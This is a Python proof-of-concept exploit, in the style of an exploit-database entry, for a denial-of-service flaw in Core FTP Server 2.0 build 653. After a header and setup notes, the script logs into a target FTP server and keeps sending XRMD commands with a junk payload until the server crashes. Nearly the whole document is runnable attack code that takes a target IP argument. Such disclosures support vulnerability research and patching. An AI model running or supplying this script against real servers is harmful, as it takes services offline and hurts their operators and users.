# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC) # Date: 2018-07-24 # Exploit Author: Erik David Martin # Vendor Homepage: http://www.coreftp.com/ # Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe # Version: Version 2.0, build 653, 32-bit # Tested on: Windows XP Professional, Version 2002, Service Pack 3 # CVE: N/A
# Proof of concept: # Create a new domain and set IP address # Use the default certificate by Core FTP Server # Set base directory # Create an anonymous user (anonymous:anonymous) for example # Set a path for the user # Start the server # Run exploit: python exploit.py *target ip* anonymous anonymous # Watch the server crash... # The exploit will work for any user, and not just anonymous
import sys import socket
try: host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] except: print("Usage: exploit.py *target ip* *username* *password*") sys.exit()
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # mysocket.settimeout(2)
try: mysocket.connect((host,21)) mysocket.recv(1024) print("\n[+] Connected\n") except: print("[-] Error! Could not connect to target") sys.exit()
junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")
try: mysocket.send("USER " + username + "\r\n") mysocket.recv(1024) mysocket.send("PASS " + password + "\r\n") mysocket.recv(1024) print("[+] Logged in as " + username) except: print("[-] Error! Could not log in as " + username) sys.exit()
print("[+] Sending malicious request")
while True: try: mysocket.send("XRMD " + junk + "\r\n") mysocket.recv(1024) except: print("[+] Target is down\n") sys.exit()
|